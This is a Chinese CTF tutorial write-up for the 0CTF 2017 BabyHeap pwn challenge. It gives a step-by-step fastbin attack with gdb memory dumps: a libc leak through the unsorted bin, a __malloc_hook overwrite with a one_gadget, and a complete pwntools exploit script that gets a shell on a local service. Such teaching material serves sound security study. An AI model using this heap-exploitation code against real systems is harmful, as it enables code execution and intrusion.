6.1.10 pwn 0CTF2017 BabyHeap2017
题目复现
这个题目给出了二进制文件。在 Ubuntu 16.04 上，libc 就用自带的。
$ file babyheap
babyheap: ELF 64-bit LSB shared object, x86-64, version 1 (SYSV), dynamically linked, interpreter /lib64/ld-linux-x86-64.so.2, for GNU/Linux 2.6.32, BuildID[sha1]=9e5bfa980355d6158a76acacb7bda01f4e3fc1c2, stripped
$ checksec -f babyheap
RELRO STACK CANARY NX PIE RPATH RUNPATH FORTIFY Fortified Fortifiable FILE
Full RELRO Canary found NX enabled PIE enabled No RPATH No RUNPATH Yes 0 2 babyheap
$ file /lib/x86_64-linux-gnu/libc-2.23.so
/lib/x86_64-linux-gnu/libc-2.23.so: ELF 64-bit LSB shared object, x86-64, version 1 (GNU/Linux), dynamically linked, interpreter /lib64/ld-linux-x86-64.so.2, BuildID[sha1]=088a6e00a1814622219f346b41e775b8dd46c518, for GNU/Linux 2.6.32, stripped
64 位程序，保护全开。
把它运行起来：
$ socat tcp4-listen:10001,reuseaddr,fork exec:./babyheap &
一个典型的堆利用题目：
$ ./babyheap
===== Baby Heap in 2017 =====
1. Allocate
2. Fill
3. Free
4. Dump
5. Exit
Command: 1 // 分配一个指定大小的 chunk
Size: 5
Allocate Index 0
1. Allocate
2. Fill
3. Free
4. Dump
5. Exit
Command: 2 // 将指定大小数据放进 chunk，但似乎没有进行边界检查，导致溢出
Index: 0
Size: 10
Content: aaaaaaaaaa // 10个a
1. Allocate
2. Fill
3. Free
4. Dump
5. Exit
Command: 1. Allocate // 似乎触发了什么 bug，如果是9个a就没事
2. Fill
3. Free
4. Dump
5. Exit
Command: 4 // 打印出 chunk 的内容，长度是新建时的长度，而不是放入数据的长度
Index: 0
Content:
aaaaa
1. Allocate
2. Fill
3. Free
4. Dump
5. Exit
Command: 3 // 释放 chunk
Index: 0
1. Allocate
2. Fill
3. Free
4. Dump
5. Exit
Command: 5
题目解析
根据前面所学的知识，我们知道释放且只释放了一个 chunk 后，该 free chunk 会被加入到 unsorted bin 中，它的 fd/bk 指针指向了 libc 中的 main_arena 结构。我们已经知道了 Fill 数据的操作存在溢出漏洞，但并没有发现 UAF 漏洞，所以要想泄露出 libc 基址，得利用 Dump 操作。另外内存分配使用了 calloc 函数，这个函数与 malloc 的区别是，calloc 会将分配的内存空间每一位都初始化为 0，所以也不能通过分配和释放几个小 chunk，再分配一个大 chunk，来泄露其内容。
怎么利用 Dump 操作呢？如果能使两个 chunk 相重叠，Free 一个，Dump 另一个，或许可行。
漏洞利用
leak libc
还是一样的，为了方便调试，先关掉 ASLR。首先分配 3 个 fast chunk 和 1 个 small chunk，其实填充数据对漏洞利用是没有意义的，这里只是为了方便观察：
alloc(0x10)
alloc(0x10)
alloc(0x10)
alloc(0x10)
alloc(0x80)
fill(0, "A"*16)
fill(1, "A"*16)
fill(2, "A"*16)
fill(3, "A"*16)
fill(4, "A"*128)
gef➤ x/40gx 0x0000555555757010-0x10
0x555555757000: 0x0000000000000000 0x0000000000000021 <-- chunk 0
0x555555757010: 0x4141414141414141 0x4141414141414141
0x555555757020: 0x0000000000000000 0x0000000000000021 <-- chunk 1
0x555555757030: 0x4141414141414141 0x4141414141414141
0x555555757040: 0x0000000000000000 0x0000000000000021 <-- chunk 2
0x555555757050: 0x4141414141414141 0x4141414141414141
0x555555757060: 0x0000000000000000 0x0000000000000021 <-- chunk 3
0x555555757070: 0x4141414141414141 0x4141414141414141
0x555555757080: 0x0000000000000000 0x0000000000000091 <-- chunk 4
0x555555757090: 0x4141414141414141 0x4141414141414141
0x5555557570a0: 0x4141414141414141 0x4141414141414141
0x5555557570b0: 0x4141414141414141 0x4141414141414141
0x5555557570c0: 0x4141414141414141 0x4141414141414141
0x5555557570d0: 0x4141414141414141 0x4141414141414141
0x5555557570e0: 0x4141414141414141 0x4141414141414141
0x5555557570f0: 0x4141414141414141 0x4141414141414141
0x555555757100: 0x4141414141414141 0x4141414141414141
0x555555757110: 0x0000000000000000 0x0000000000020ef1 <-- top chunk
0x555555757120: 0x0000000000000000 0x0000000000000000
0x555555757130: 0x0000000000000000 0x0000000000000000
gef➤ x/20gx 0xafc966564d0-0x10
0xafc966564c0: 0x0000000000000001 0x0000000000000010 <-- idx 0 -> chunk 0
0xafc966564d0: 0x0000555555757010 0x0000000000000001 <-- idx 1 -> chunk 1
0xafc966564e0: 0x0000000000000010 0x0000555555757030
0xafc966564f0: 0x0000000000000001 0x0000000000000010 <-- idx 2 -> chunk 2
0xafc96656500: 0x0000555555757050 0x0000000000000001 <-- idx 3 -> chunk 3
0xafc96656510: 0x0000000000000010 0x0000555555757070
0xafc96656520: 0x0000000000000001 0x0000000000000080 <-- idx 4 -> chunk 4
0xafc96656530: 0x0000555555757090 0x0000000000000000
0xafc96656540: 0x0000000000000000 0x0000000000000000
0xafc96656550: 0x0000000000000000 0x0000000000000000
另外我们看到，chunk 的序号被存储到一个 mmap 分配出来的结构体中，包含了 chunk 的地址和大小。程序就是通过该结构体寻找 chunk，然后各种操作的。
free 掉两个 fast chunk，这样 chunk 2 的 fd 指针会被指向 chunk 1：
free(1)
free(2)
gef➤ x/2gx &main_arena
0x7ffff7dd1b20 <main_arena>: 0x0000000000000000 0x0000555555757040
gef➤ heap bins fast
[ Fastbins for arena 0x7ffff7dd1b20 ]
Fastbins[idx=0, size=0x10] ← Chunk(addr=0x555555757050, size=0x20, flags=PREV_INUSE) ← Chunk(addr=0x555555757030, size=0x20, flags=PREV_INUSE)
gef➤ x/40gx 0x0000555555757010-0x10
0x555555757000: 0x0000000000000000 0x0000000000000021 <-- chunk 0
0x555555757010: 0x4141414141414141 0x4141414141414141
0x555555757020: 0x0000000000000000 0x0000000000000021 <-- chunk 1 [be freed]
0x555555757030: 0x0000000000000000 0x4141414141414141
0x555555757040: 0x0000000000000000 0x0000000000000021 <-- chunk 2 [be freed] <-- fast bins
0x555555757050: 0x0000555555757020 0x4141414141414141 <-- fd pointer
0x555555757060: 0x0000000000000000 0x0000000000000021 <-- chunk 3
0x555555757070: 0x4141414141414141 0x4141414141414141
0x555555757080: 0x0000000000000000 0x0000000000000091 <-- chunk 4
0x555555757090: 0x4141414141414141 0x4141414141414141
0x5555557570a0: 0x4141414141414141 0x4141414141414141
0x5555557570b0: 0x4141414141414141 0x4141414141414141
0x5555557570c0: 0x4141414141414141 0x4141414141414141
0x5555557570d0: 0x4141414141414141 0x4141414141414141
0x5555557570e0: 0x4141414141414141 0x4141414141414141
0x5555557570f0: 0x4141414141414141 0x4141414141414141
0x555555757100: 0x4141414141414141 0x4141414141414141
0x555555757110: 0x0000000000000000 0x0000000000020ef1
0x555555757120: 0x0000000000000000 0x0000000000000000
0x555555757130: 0x0000000000000000 0x0000000000000000
gef➤ x/20gx 0xafc966564d0-0x10
0xafc966564c0: 0x0000000000000001 0x0000000000000010 <-- idx 0 -> chunk 0
0xafc966564d0: 0x0000555555757010 0x0000000000000000
0xafc966564e0: 0x0000000000000000 0x0000000000000000
0xafc966564f0: 0x0000000000000000 0x0000000000000000
0xafc96656500: 0x0000000000000000 0x0000000000000001 <-- idx 3 -> chunk 3
0xafc96656510: 0x0000000000000010 0x0000555555757070
0xafc96656520: 0x0000000000000001 0x0000000000000080 <-- idx 4 -> chunk 4
0xafc96656530: 0x0000555555757090 0x0000000000000000
0xafc96656540: 0x0000000000000000 0x0000000000000000
0xafc96656550: 0x0000000000000000 0x0000000000000000
free 掉的 chunk，其结构体被清空，等待下一次 malloc，并添加到空出来的地方。
通过溢出漏洞修改已被释放的 chunk 2，让 fd 指针指向 chunk 4，这样就将 small chunk 加入到了 fastbins 链表中，然后还需要把 chunk 4 的 0x91 改成 0x21 以绕过 fastbins 大小的检查：
payload = "A"*16
payload += p64(0)
payload += p64(0x21)
payload += p64(0)
payload += "A"*8
payload += p64(0)
payload += p64(0x21)
payload += p8(0x80)
fill(0, payload)
payload = "A"*16
payload += p64(0)
payload += p64(0x21)
fill(3, payload)
gef➤ x/2gx &main_arena
0x7ffff7dd1b20 <main_arena>: 0x0000000000000000 0x0000555555757040
gef➤ heap bins fast
[ Fastbins for arena 0x7ffff7dd1b20 ]
Fastbins[idx=0, size=0x10] ← Chunk(addr=0x555555757050, size=0x20, flags=PREV_INUSE) ← Chunk(addr=0x555555757090, size=0x20, flags=PREV_INUSE) ← [Corrupted chunk at 0x4141414141414151]
gef➤ x/40gx 0x0000555555757010-0x10
0x555555757000: 0x0000000000000000 0x0000000000000021 <-- chunk 0
0x555555757010: 0x4141414141414141 0x4141414141414141
0x555555757020: 0x0000000000000000 0x0000000000000021 <-- chunk 1 [be freed]
0x555555757030: 0x0000000000000000 0x4141414141414141
0x555555757040: 0x0000000000000000 0x0000000000000021 <-- chunk 2 [be freed] <-- fast bins
0x555555757050: 0x0000555555757080 0x4141414141414141 <-- fd pointer
0x555555757060: 0x0000000000000000 0x0000000000000021 <-- chunk 3
0x555555757070: 0x4141414141414141 0x4141414141414141
0x555555757080: 0x0000000000000000 0x0000000000000021 <-- chunk 4
0x555555757090: 0x4141414141414141 0x4141414141414141
0x5555557570a0: 0x4141414141414141 0x4141414141414141
0x5555557570b0: 0x4141414141414141 0x4141414141414141
0x5555557570c0: 0x4141414141414141 0x4141414141414141
0x5555557570d0: 0x4141414141414141 0x4141414141414141
0x5555557570e0: 0x4141414141414141 0x4141414141414141
0x5555557570f0: 0x4141414141414141 0x4141414141414141
0x555555757100: 0x4141414141414141 0x4141414141414141
0x555555757110: 0x0000000000000000 0x0000000000020ef1
0x555555757120: 0x0000000000000000 0x0000000000000000
0x555555757130: 0x0000000000000000 0x0000000000000000
现在我们再分配两个 chunk，它们都会从 fastbins 中被取出来，而且 new chunk 2 会和原来的 chunk 4 起始位置重叠，但前者是 fast chunk，而后者是 small chunk，即一个大 chunk 里包含了一个小 chunk，这正是我们需要的：
alloc(0x10)
alloc(0x10)
fill(1, "B"*16)
fill(2, "C"*16)
fill(4, "D"*16)
gef➤ x/2gx &main_arena
0x7ffff7dd1b20 <main_arena>: 0x0000000000000000 0x4141414141414141
gef➤ x/40gx 0x0000555555757010-0x10
0x555555757000: 0x0000000000000000 0x0000000000000021 <-- chunk 0
0x555555757010: 0x4141414141414141 0x4141414141414141
0x555555757020: 0x0000000000000000 0x0000000000000021 <-- chunk 1 [be freed]
0x555555757030: 0x0000000000000000 0x4141414141414141
0x555555757040: 0x0000000000000000 0x0000000000000021 <-- new chunk 1
0x555555757050: 0x4242424242424242 0x4242424242424242
0x555555757060: 0x0000000000000000 0x0000000000000021 <-- chunk 3
0x555555757070: 0x4141414141414141 0x4141414141414141
0x555555757080: 0x0000000000000000 0x0000000000000021 <-- chunk 4, new chunk 2
0x555555757090: 0x4444444444444444 0x4444444444444444
0x5555557570a0: 0x0000000000000000 0x4141414141414141
0x5555557570b0: 0x4141414141414141 0x4141414141414141
0x5555557570c0: 0x4141414141414141 0x4141414141414141
0x5555557570d0: 0x4141414141414141 0x4141414141414141
0x5555557570e0: 0x4141414141414141 0x4141414141414141
0x5555557570f0: 0x4141414141414141 0x4141414141414141
0x555555757100: 0x4141414141414141 0x4141414141414141
0x555555757110: 0x0000000000000000 0x0000000000020ef1
0x555555757120: 0x0000000000000000 0x0000000000000000
0x555555757130: 0x0000000000000000 0x0000000000000000
gef➤ x/20gx 0xafc966564d0-0x10
0xafc966564c0: 0x0000000000000001 0x0000000000000010 <-- idx 0 -> chunk 0
0xafc966564d0: 0x0000555555757010 0x0000000000000001 <-- idx 1 -> new chunk 1
0xafc966564e0: 0x0000000000000010 0x0000555555757050
0xafc966564f0: 0x0000000000000001 0x0000000000000010 <-- idx 2 -> new chunk 2
0xafc96656500: 0x0000555555757090 0x0000000000000001 <-- idx 3 -> chunk 3
0xafc96656510: 0x0000000000000010 0x0000555555757070
0xafc96656520: 0x0000000000000001 0x0000000000000080 <-- idx 4 -> chunk 4
0xafc96656530: 0x0000555555757090 0x0000000000000000
0xafc96656540: 0x0000000000000000 0x0000000000000000
0xafc96656550: 0x0000000000000000 0x0000000000000000
可以看到新分配的 chunk 2，填补到了被释放的 chunk 2 的位置上。
再次利用溢出漏洞将 chunk 4 的 0x21 改回 0x91，然后为了避免 free(4) 后该 chunk 被合并进 top chunk，需要再分配一个 small chunk：
payload = "A"*16
payload += p64(0)
payload += p64(0x91)
fill(3, payload)
alloc(0x80)
fill(5, "A"*128)
gef➤ x/60gx 0x0000555555757010-0x10
0x555555757000: 0x0000000000000000 0x0000000000000021 <-- chunk 0
0x555555757010: 0x4141414141414141 0x4141414141414141
0x555555757020: 0x0000000000000000 0x0000000000000021
0x555555757030: 0x0000000000000000 0x4141414141414141
0x555555757040: 0x0000000000000000 0x0000000000000021 <-- new chunk 1
0x555555757050: 0x4242424242424242 0x4242424242424242
0x555555757060: 0x0000000000000000 0x0000000000000021 <-- chunk 3
0x555555757070: 0x4141414141414141 0x4141414141414141
0x555555757080: 0x0000000000000000 0x0000000000000091 <-- chunk 4, new chunk 2
0x555555757090: 0x4444444444444444 0x4444444444444444
0x5555557570a0: 0x0000000000000000 0x4141414141414141
0x5555557570b0: 0x4141414141414141 0x4141414141414141
0x5555557570c0: 0x4141414141414141 0x4141414141414141
0x5555557570d0: 0x4141414141414141 0x4141414141414141
0x5555557570e0: 0x4141414141414141 0x4141414141414141
0x5555557570f0: 0x4141414141414141 0x4141414141414141
0x555555757100: 0x4141414141414141 0x4141414141414141
0x555555757110: 0x0000000000000000 0x0000000000000091 <-- chunk 5
0x555555757120: 0x4141414141414141 0x4141414141414141
0x555555757130: 0x4141414141414141 0x4141414141414141
0x555555757140: 0x4141414141414141 0x4141414141414141
0x555555757150: 0x4141414141414141 0x4141414141414141
0x555555757160: 0x4141414141414141 0x4141414141414141
0x555555757170: 0x4141414141414141 0x4141414141414141
0x555555757180: 0x4141414141414141 0x4141414141414141
0x555555757190: 0x4141414141414141 0x4141414141414141
0x5555557571a0: 0x0000000000000000 0x0000000000020e61 <-- top chunk
0x5555557571b0: 0x0000000000000000 0x0000000000000000
0x5555557571c0: 0x0000000000000000 0x0000000000000000
0x5555557571d0: 0x0000000000000000 0x0000000000000000
gef➤ x/20gx 0xafc966564d0-0x10
0xafc966564c0: 0x0000000000000001 0x0000000000000010 <-- idx 0 -> chunk 0
0xafc966564d0: 0x0000555555757010 0x0000000000000001 <-- idx 1 -> new chunk 1
0xafc966564e0: 0x0000000000000010 0x0000555555757050
0xafc966564f0: 0x0000000000000001 0x0000000000000010 <-- idx 2 -> new chunk 2
0xafc96656500: 0x0000555555757090 0x0000000000000001 <-- idx 3 -> chunk 3
0xafc96656510: 0x0000000000000010 0x0000555555757070
0xafc96656520: 0x0000000000000001 0x0000000000000080 <-- idx 4 -> chunk 4
0xafc96656530: 0x0000555555757090 0x0000000000000001 <-- idx 5 -> chunk 5
0xafc96656540: 0x0000000000000080 0x0000555555757120
0xafc96656550: 0x0000000000000000 0x0000000000000000
这时，如果我们将 chunk 4 释放掉，其 fd 指针会被设置为指向 unsorted bin 链表的头部，这个地址在 libc 中，且相对位置固定，利用它就可以算出 libc 被加载的地址：
free(4)
gef➤ heap bins unsorted
[ Unsorted Bin for arena 'main_arena' ]
[+] unsorted_bins[0]: fw=0x555555757080, bk=0x555555757080
→ Chunk(addr=0x555555757090, size=0x90, flags=PREV_INUSE)
gef➤ x/60gx 0x0000555555757010-0x10
0x555555757000: 0x0000000000000000 0x0000000000000021 <-- chunk 0
0x555555757010: 0x4141414141414141 0x4141414141414141
0x555555757020: 0x0000000000000000 0x0000000000000021
0x555555757030: 0x0000000000000000 0x4141414141414141
0x555555757040: 0x0000000000000000 0x0000000000000021 <-- new chunk 1
0x555555757050: 0x4242424242424242 0x4242424242424242
0x555555757060: 0x0000000000000000 0x0000000000000021 <-- chunk 3
0x555555757070: 0x4141414141414141 0x4141414141414141
0x555555757080: 0x0000000000000000 0x0000000000000091 <-- chunk 4 [be freed], new chunk 2 <-- unsorted bin
0x555555757090: 0x00007ffff7dd1b78 0x00007ffff7dd1b78 <-- fd, bk pointer
0x5555557570a0: 0x0000000000000000 0x4141414141414141
0x5555557570b0: 0x4141414141414141 0x4141414141414141
0x5555557570c0: 0x4141414141414141 0x4141414141414141
0x5555557570d0: 0x4141414141414141 0x4141414141414141
0x5555557570e0: 0x4141414141414141 0x4141414141414141
0x5555557570f0: 0x4141414141414141 0x4141414141414141
0x555555757100: 0x4141414141414141 0x4141414141414141
0x555555757110: 0x0000000000000090 0x0000000000000090 <-- chunk 5
0x555555757120: 0x4141414141414141 0x4141414141414141
0x555555757130: 0x4141414141414141 0x4141414141414141
0x555555757140: 0x4141414141414141 0x4141414141414141
0x555555757150: 0x4141414141414141 0x4141414141414141
0x555555757160: 0x4141414141414141 0x4141414141414141
0x555555757170: 0x4141414141414141 0x4141414141414141
0x555555757180: 0x4141414141414141 0x4141414141414141
0x555555757190: 0x4141414141414141 0x4141414141414141
0x5555557571a0: 0x0000000000000000 0x0000000000020e61
0x5555557571b0: 0x0000000000000000 0x0000000000000000
0x5555557571c0: 0x0000000000000000 0x0000000000000000
0x5555557571d0: 0x0000000000000000 0x0000000000000000
gef➤ x/20gx 0xafc966564d0-0x10
0xafc966564c0: 0x0000000000000001 0x0000000000000010 <-- idx 0 -> chunk 0
0xafc966564d0: 0x0000555555757010 0x0000000000000001 <-- idx 1 -> new chunk 1
0xafc966564e0: 0x0000000000000010 0x0000555555757050
0xafc966564f0: 0x0000000000000001 0x0000000000000010 <-- idx 2 -> new chunk 2
0xafc96656500: 0x0000555555757090 0x0000000000000001 <-- idx 3 -> chunk 3
0xafc96656510: 0x0000000000000010 0x0000555555757070
0xafc96656520: 0x0000000000000000 0x0000000000000000
0xafc96656530: 0x0000000000000000 0x0000000000000001 <-- idx 5 -> chunk 5
0xafc96656540: 0x0000000000000080 0x0000555555757120
0xafc96656550: 0x0000000000000000 0x0000000000000000
最后利用 Dump 操作即可将地址泄漏出来：
leak = u64(dump(2)[:8])
libc = leak - 0x3c4b78 # 0x3c4b78 = leak - libc
__malloc_hook = libc - 0x3c4b10 # readelf -s libc.so.6 | grep __malloc_hook@
one_gadget = libc - 0x4526a
[*] leak => 0x7ffff7dd1b78
[*] libc => 0x7ffff7a0d000
[*] __malloc_hook => 0x7ffff7dd1b10
[*] one_gadget => 0x7ffff7a5226a
get shell
由于开启了 Full RELRO，改写 GOT 表是不行了。考虑用 __malloc_hook，它是一个弱类型的函数指针变量，指向 void * function(size_t size, void * caller)，当调用 malloc() 时，首先判断 hook 函数指针是否为空，不为空则调用它。所以这里我们传入一个 one-gadget 即可（详情请查看章节4.6）。
首先考虑怎样利用 fastbins 在 __malloc_hook 指向的地址处写入 one_gadget 的地址。这里有一个技巧，地址偏移，就像下面这样构造一个 fake chunk，其大小为 0x7f，也就是一个 fast chunk：
gef➤ x/10gx (long long)(&main_arena)-0x30
0x7ffff7dd1af0 <_IO_wide_data_0+304>: 0x00007ffff7dd0260 0x0000000000000000
0x7ffff7dd1b00 <__memalign_hook>: 0x00007ffff7a92e20 0x00007ffff7a92a00
0x7ffff7dd1b10 <__malloc_hook>: 0x0000000000000000 0x0000000000000000
0x7ffff7dd1b20 <main_arena>: 0x0000000000000000 0x4141414141414141 <-- target
0x7ffff7dd1b30 <main_arena+16>: 0x0000000000000000 0x0000000000000000
gef➤ x/10gx (long long)(&main_arena)-0x30+0xd
0x7ffff7dd1afd: 0xfff7a92e20000000 0xfff7a92a0000007f <-- fake chunk
0x7ffff7dd1b0d: 0x000000000000007f 0x0000000000000000
0x7ffff7dd1b1d: 0x0000000000000000 0x4141414141000000
0x7ffff7dd1b2d: 0x0000000000414141 0x0000000000000000
0x7ffff7dd1b3d: 0x0000000000000000 0x0000000000000000
用本地的泄露地址减去 libc 地址得到偏移：
[0x00000000]> ?v 0x7ffff7dd1b78 - 0x7ffff7a0d000
0x3c4b78
之前 free 掉的 chunk 4 一个 small chunk，被添加到了 unsorted bin 中，而这里我们需要的是 fast chunk，所以这里采用分配一个 fast chunk，再释放掉的办法，将其添加到 fast bins 中。然后改写它的 fd 指针指向 fake chunk（当然也要通过 libc 偏移计算出来）：
alloc(0x60)
free(4)
payload = p64(libc + 0x3c4afd)
fill(2, payload)
gef➤ heap bins unsorted
[ Unsorted Bin for arena 'main_arena' ]
[+] unsorted_bins[0]: fw=0x5555557570f0, bk=0x5555557570f0
→ Chunk(addr=0x555555757100, size=0x20, flags=PREV_INUSE)
gef➤ x/60gx 0x0000555555757010-0x10
0x555555757000: 0x0000000000000000 0x0000000000000021 <-- chunk 0
0x555555757010: 0x4141414141414141 0x4141414141414141
0x555555757020: 0x0000000000000000 0x0000000000000021
0x555555757030: 0x0000000000000000 0x4141414141414141
0x555555757040: 0x0000000000000000 0x0000000000000021 <-- new chunk 1
0x555555757050: 0x4242424242424242 0x4242424242424242
0x555555757060: 0x0000000000000000 0x0000000000000021 <-- chunk 3
0x555555757070: 0x4141414141414141 0x4141414141414141
0x555555757080: 0x0000000000000000 0x0000000000000071 <-- new chunk 2, new chunk 4 [be freed]
0x555555757090: 0x00007ffff7dd1afd 0x0000000000000000 <-- fd pointer
0x5555557570a0: 0x0000000000000000 0x0000000000000000
0x5555557570b0: 0x0000000000000000 0x0000000000000000
0x5555557570c0: 0x0000000000000000 0x0000000000000000
0x5555557570d0: 0x0000000000000000 0x0000000000000000
0x5555557570e0: 0x0000000000000000 0x0000000000000000
0x5555557570f0: 0x0000000000000000 0x0000000000000021 <-- unsorted bin
0x555555757100: 0x00007ffff7dd1b78 0x00007ffff7dd1b78
0x555555757110: 0x0000000000000020 0x0000000000000090 <-- chunk 5
0x555555757120: 0x4141414141414141 0x4141414141414141
0x555555757130: 0x4141414141414141 0x4141414141414141
0x555555757140: 0x4141414141414141 0x4141414141414141
0x555555757150: 0x4141414141414141 0x4141414141414141
0x555555757160: 0x4141414141414141 0x4141414141414141
0x555555757170: 0x4141414141414141 0x4141414141414141
0x555555757180: 0x4141414141414141 0x4141414141414141
0x555555757190: 0x4141414141414141 0x4141414141414141
0x5555557571a0: 0x0000000000000000 0x0000000000020e61
0x5555557571b0: 0x0000000000000000 0x0000000000000000
0x5555557571c0: 0x0000000000000000 0x0000000000000000
0x5555557571d0: 0x0000000000000000 0x0000000000000000
连续两次分配，第一次将 fake chunk 添加到 fast bins，第二次分配 fake chunk，分别是 new new chunk 4 和 chunk 6。然后就可以改写 __malloc_hook 的地址，将其指向 one-gadget：
alloc(0x60)
alloc(0x60)
payload = p8(0)*3
payload += p64(one_gadget)
fill(6, payload)
gef➤ x/10gx (long long)(&main_arena)-0x30
0x7ffff7dd1af0 <_IO_wide_data_0+304>: 0x00007ffff7dd0260 0x0000000000000000
0x7ffff7dd1b00 <__memalign_hook>: 0x00007ffff7a92e20 0x000000fff7a92a00
0x7ffff7dd1b10 <__malloc_hook>: 0x00007ffff7a5226a 0x0000000000000000 <-- target
0x7ffff7dd1b20 <main_arena>: 0x0000000000000000 0x4141414141414141
0x7ffff7dd1b30 <main_arena+16>: 0x0000000000000000 0x0000000000000000
gef➤ x/60gx 0x0000555555757010-0x10
0x555555757000: 0x0000000000000000 0x0000000000000021 <-- chunk 0
0x555555757010: 0x4141414141414141 0x4141414141414141
0x555555757020: 0x0000000000000000 0x0000000000000021
0x555555757030: 0x0000000000000000 0x4141414141414141
0x555555757040: 0x0000000000000000 0x0000000000000021 <-- new chunk 1
0x555555757050: 0x4242424242424242 0x4242424242424242
0x555555757060: 0x0000000000000000 0x0000000000000021 <-- chunk 3
0x555555757070: 0x4141414141414141 0x4141414141414141
0x555555757080: 0x0000000000000000 0x0000000000000071 <-- new chunk 2, new new chunk 4
0x555555757090: 0x0000000000000000 0x0000000000000000
0x5555557570a0: 0x0000000000000000 0x0000000000000000
0x5555557570b0: 0x0000000000000000 0x0000000000000000
0x5555557570c0: 0x0000000000000000 0x0000000000000000
0x5555557570d0: 0x0000000000000000 0x0000000000000000
0x5555557570e0: 0x0000000000000000 0x0000000000000000
0x5555557570f0: 0x0000000000000000 0x0000000000000021 <-- unsorted bin
0x555555757100: 0x00007ffff7dd1b78 0x00007ffff7dd1b78
0x555555757110: 0x0000000000000020 0x0000000000000090 <-- chunk 5
0x555555757120: 0x4141414141414141 0x4141414141414141
0x555555757130: 0x4141414141414141 0x4141414141414141
0x555555757140: 0x4141414141414141 0x4141414141414141
0x555555757150: 0x4141414141414141 0x4141414141414141
0x555555757160: 0x4141414141414141 0x4141414141414141
0x555555757170: 0x4141414141414141 0x4141414141414141
0x555555757180: 0x4141414141414141 0x4141414141414141
0x555555757190: 0x4141414141414141 0x4141414141414141
0x5555557571a0: 0x0000000000000000 0x0000000000020e61
0x5555557571b0: 0x0000000000000000 0x0000000000000000
0x5555557571c0: 0x0000000000000000 0x0000000000000000
0x5555557571d0: 0x0000000000000000 0x0000000000000000
gef➤ x/30gx 0xafc966564d0-0x10
0xafc966564c0: 0x0000000000000001 0x0000000000000010 <-- idx 0 -> chunk 0
0xafc966564d0: 0x0000555555757010 0x0000000000000001 <-- idx 1 -> new chunk 1
0xafc966564e0: 0x0000000000000010 0x0000555555757050
0xafc966564f0: 0x0000000000000001 0x0000000000000010 <-- idx 2 -> new chunk 2
0xafc96656500: 0x0000555555757090 0x0000000000000001 <-- idx 3 -> chunk 3
0xafc96656510: 0x0000000000000010 0x0000555555757070
0xafc96656520: 0x0000000000000001 0x0000000000000060 <-- idx 4 -> new new chunk4
0xafc96656530: 0x0000555555757090 0x0000000000000001 <-- idx 5 -> chunk 5
0xafc96656540: 0x0000000000000080 0x0000555555757120
0xafc96656550: 0x0000000000000001 0x0000000000000060 <-- idx 6 -> chunk 6
0xafc96656560: 0x00007ffff7dd1b0d 0x0000000000000000
0xafc96656570: 0x0000000000000000 0x0000000000000000
0xafc96656580: 0x0000000000000000 0x0000000000000000
0xafc96656590: 0x0000000000000000 0x0000000000000000
0xafc966565a0: 0x0000000000000000 0x0000000000000000
最后，只要调用了 malloc，就会触发 hook 函数，即 one-gadget。现在可以开启 ASLR 了，因为通过泄漏 libc 地址，我们已经完全绕过了它。
Bingo!!!
$ python exp.py
[+] Opening connection to 127.0.0.1 on port 10001: Done
[*] leak => 0x7f8c1be9eb78
[*] libc => 0x7f8c1bada000
[*] __malloc_hook => 0x7f8c1be9eb10
[*] one_gadget => 0x7f8c1bb1f26a
[*] Switching to interactive mode
$ whoami
firmy
本题多次使用 fastbin attack，确实经典。
exploit
完整的 exp 如下：
from pwn import *
io = remote('127.0.0.1', 10001)
def alloc(size):
io.recvuntil("Command: ")
io.sendline('1')
io.recvuntil("Size: ")
io.sendline(str(size))
def fill(idx, cont):
io.recvuntil("Command: ")
io.sendline('2')
io.recvuntil("Index: ")
io.sendline(str(idx))
io.recvuntil("Size: ")
io.sendline(str(len(cont)))
io.recvuntil("Content: ")
io.send(cont)
def free(idx):
io.recvuntil("Command: ")
io.sendline('3')
io.recvuntil("Index: ")
io.sendline(str(idx))
def dump(idx):
io.recvuntil("Command: ")
io.sendline('4')
io.recvuntil("Index: ")
io.sendline(str(idx))
io.recvuntil("Content: \n")
data = io.recvline()
return data
alloc(0x10)
alloc(0x10)
alloc(0x10)
alloc(0x10)
alloc(0x80)
#fill(0, "A"*16)
#fill(1, "A"*16)
#fill(2, "A"*16)
#fill(3, "A"*16)
#fill(4, "A"*128)
free(1)
free(2)
payload = "A"*16
payload += p64(0)
payload += p64(0x21)
payload += p64(0)
payload += "A"*8
payload += p64(0)
payload += p64(0x21)
payload += p8(0x80)
fill(0, payload)
payload = "A"*16
payload += p64(0)
payload += p64(0x21)
fill(3, payload)
alloc(0x10)
alloc(0x10)
#fill(1, "B"*16)
#fill(2, "C"*16)
#fill(4, "D"*16)
payload = "A"*16
payload += p64(0)
payload += p64(0x91)
fill(3, payload)
alloc(0x80)
#fill(5, "A"*128)
free(4)
leak = u64(dump(2)[:8])
libc = leak - 0x3c4b78 # 0x3c4b78 = leak - libc
__malloc_hook = libc + 0x3c4b10 # readelf -s libc.so.6 | grep __malloc_hook@
one_gadget = libc + 0x4526a
log.info("leak => 0x%x" % leak)
log.info("libc => 0x%x" % libc)
log.info("__malloc_hook => 0x%x" % __malloc_hook)
log.info("one_gadget => 0x%x" % one_gadget)
alloc(0x60)
free(4)
payload = p64(libc + 0x3c4afd)
fill(2, payload)
alloc(0x60)
alloc(0x60)
payload = p8(0)*3
payload += p64(one_gadget)
fill(6, payload)
alloc(1)
io.interactive()